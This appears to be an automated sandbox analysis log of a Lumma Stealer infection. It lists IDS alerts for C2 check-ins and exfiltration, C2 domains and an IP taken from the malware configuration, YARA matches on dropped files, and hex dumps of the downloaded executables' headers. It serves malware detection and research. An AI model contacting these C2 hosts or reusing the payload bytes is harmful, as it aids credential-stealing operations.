                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50071 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50071 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50085 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50085 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50078 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50078 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50091 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50091 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50102 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50102 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50092 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50107 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49988 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49988 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49987 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50072 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50110 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50107 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50099 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50111 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50104 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50106 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50121 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50112 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50136 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50127 -> 104.21.91.209:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50181 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50181 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50186 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50186 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50132 -> 104.21.67.146:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50187 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50205 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50208 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50203 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50212 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50189 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50189 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50081 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50209 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50184 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50184 -> 172.67.179.109:443
                                      C2 URLs / IPs found in malware configuration
                                      Source: Malware configuration extractorURLs: rapeflowwj.lat
                                      Source: Malware configuration extractorURLs: aspecteirs.lat
                                      Source: Malware configuration extractorURLs: crosshuaht.lat
                                      Source: Malware configuration extractorURLs: grannyejh.lat
                                      Source: Malware configuration extractorURLs: energyaffai.lat
                                      Source: Malware configuration extractorURLs: necklacebudi.lat
                                      Source: Malware configuration extractorURLs: lossekniyyt.click
                                      Source: Malware configuration extractorURLs: sustainskelet.lat
                                      Source: Malware configuration extractorURLs: discokeyus.lat
                                      Source: Malware configuration extractorIPs: 185.215.113.43
                                      Uses ping.exe to check the status of other devices and networks
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                                      Yara detected Generic Downloader
                                      Source: Yara matchFile source: 35.0.1eb4b174fd.exe.5f0000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED
                                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, type: DROPPED
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:09:10 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:09:22 GMTContent-Type: application/octet-streamContent-Length: 3286016Last-Modified: Wed, 18 Dec 2024 13:43:08 GMTConnection: keep-aliveETag: "6762d16c-322400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 88 cf 56 f4 00 00 00 00 00 00 00 00 e0 00 0e 01 0b 01 50 00 00 c8 2f 00 00 5a 02 00 00 00 00 00 ce e6 2f 00 00 20 00 00 00 00 30 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 32 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 00 00 80 e6 2f 00 4b 00 00 00 00 00 30 00 40 57 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 0c 00 00 00 33 e6 2f 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d4 c6 2f 00 00 20 00 00 00 c8 2f 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 40 57 02 00 00 00 30 00 00 58 02 00 00 ca 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 60 32 00 00 02 00 00 00 22 32 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 e6 2f 00 00 00 00 00 48 00 00 00 02 00 05 00 00 c2 01 00 40 1c 04 00 03 00 00 00 43 0d 00 06 40 de 05 00 7a 05 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 2b 05 28 42 0f 39 39 28 02 00 00 06 2a 00 00 3a 2b 05 28 f1 af 5e 41 00 28 21 0d 00 06 2a 00 12 00 00 00 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 12 00 00 00 2a 00 00 00 12 00 00 17 2a 00 00 00 12 00 00 14 2a 00 00 00 1a 28 2a 0c 00 06 2a 00 13 30 03 00 92 00 00 00 01 00 00 11 28 2a 0c 00 06 38 79 00 00 00 fe 0c 00 00 45 03 00 00 00 63 00 00 00 4f 00 00 00 2f 00 00 00 38 5e 00 00 00 73 17 00 00 0a 80 04 00 00 04 20 01 00 00 00 17 3a d5 ff ff ff 26 38 cb ff ff ff 73 18 00 00 0a 80 03 00 00 04 38 d6 ff ff ff 73 19 00 00 0a 80 06 00 00 04 20 00 00 00 00 17 39 ab ff ff ff 26 20 00 00 00 00 38 a0 ff ff ff 73 1a 00 00 0a 80 05 00 00 04 20 02 00 00 00 38 8c ff ff ff 2a 73 1b 00 00 0a 80 02 00 00 04 38 ad ff ff ff 00 00 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00 00 00 14 2a 13 30 03 00 04 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:09:32 GMTContent-Type: application/octet-streamContent-Length: 4426752Last-Modified: Wed, 18 Dec 2024 23:42:36 GMTConnection: keep-aliveETag: "67635dec-438c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e0 55 60 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 3e 44 00 00 2e 64 00 00 32 00 00 00 c0 b4 00 00 10 00 00 00 50 44 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 f0 b4 00 00 04 00 00 7b 3f 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 61 00 73 00 00 00 00 80 61 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 ac b4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 ac b4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 61 00 00 10 00 00 00 3e 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 80 61 00 00 02 00 00 00 4e 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 61 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 38 00 00 a0 61 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 70 67 68 66 67 64 64 00 10 1b 00 00 a0 99 00 00 10 1b 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 71 7a 63 69 66 74 74 00 10 00 00 00 b0 b4 00 00 06 00 00 00 64 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 b4 00 00 22 00 00 00 6a 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:09:44 GMTContent-Type: application/octet-streamContent-Length: 1838592Last-Modified: Wed, 18 Dec 2024 23:58:18 GMTConnection: keep-aliveETag: "6763619a-1c0e00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 f0 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 49 00 00 04 00 00 0c f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6f 68 6d 6d 69 71 74 00 90 19 00 00 50 2f 00 00 88 19 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 68 79 77 72 63 68 75 00 10 00 00 00 e0 48 00 00 04 00 00 00 e8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 48 00 00 22 00 00 00 ec 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                                      Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 00:09:53 GMTContent-Type: application/octet-streamContent-Length: 2909696Last-Modified: Wed, 18 Dec 2024 23:58:29 GMTConnection: keep-aliveETag: "676361a5-2c6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 a0 4f 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 4f 00 00 04 00 00 8f fc 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 71 73 78 71 64 79 65 00 d0 2a 00 00 c0 24 00 00 c4 2a 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 70 71 76 70 72 6e 67 00 10 00 00 00 90 4f 00 00 04 00 00 00 40 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4f 00 00 22 00 00 00 44 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
